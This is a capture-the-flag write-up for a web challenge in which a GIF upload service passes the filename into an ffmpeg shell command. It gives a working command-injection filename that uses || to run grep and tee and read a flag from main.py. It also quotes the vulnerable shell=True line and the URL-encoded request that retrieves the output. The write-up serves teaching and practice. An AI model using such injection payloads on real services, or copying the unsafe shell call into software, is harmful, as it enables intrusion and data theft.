Tags: web 

Rating:

In this task, you had to upload a valid gif to a webservice, and somehow get a flag with that. What did the app do? It was running ```ffmpeg``` on uploaded gif and breaking it into frames saved as ```.png``` files in ```uploads/{random name}/``` folder. You could preview these images, the random name was known. Code was public. The checks for validity of a file were:

1. File exists
2. File has an extension of ".gif"
3. Content type is image/gif
4. File name consists only of allowed chars check by regex ```^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$ ``` and does not have a ```..```
5. File mimetype is image/gif

Flag was stored as a variable in main script (```main.py```), but never used.

Most important part of the task was this line inside ```main.py```:

```command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)```

in which ffmpeg in a shell was run. It was obvois, that we can somehow manipulate the filename, so that we can execute our own commands.

After lots of offline trials with the filename, such one was made:

```nosuchfilelol.gif' \"lol.png\" || grep ffLaG $(find $PWD -maxdepth 1 -type f -name main.py) | tee 'lulz.gif```

Yes, this line above is a filename! I used Burp Suite and Intercepting tool to pass it. GIF that i was uploading was completely legit.

When putting it inside the shell command, the server executed something like this:

``` ffmpeg -i 'uploads/nosuchfilelol.gif' "lol.png" || grep ffLaG $(find $PWD -maxdepth 1 -type f -name main.py) | tee 'lulz.gif' "uploads/{uid}/%03d.png" ```

That is happening in here? First, we pass nonexisting gif to ```ffmpeg ```, which crashes, so it triggers the secont part of exploit, after the ```||``` (OR) sign. The second part triggers the ```find``` command on current folder (```$PWD```) to "find" main.py. This way, we can bypass the problem of getting the full path to main.py (regex did not allow slashes). Next, we grep inside the file for flag, and we pass it to ```tee``` command, which saves it into two files (first one is of course useless, but the filename had to finish with ```.gif```). Now, we just read the contents of ```uploads/{random name}/%03d.png``` and boom! We got the flag.

Note:
To read the ```%03d.png``` file we had to URL-encode it, so the GET request was like ```uploads/{random name}/%2503d.png ```

Good CTF!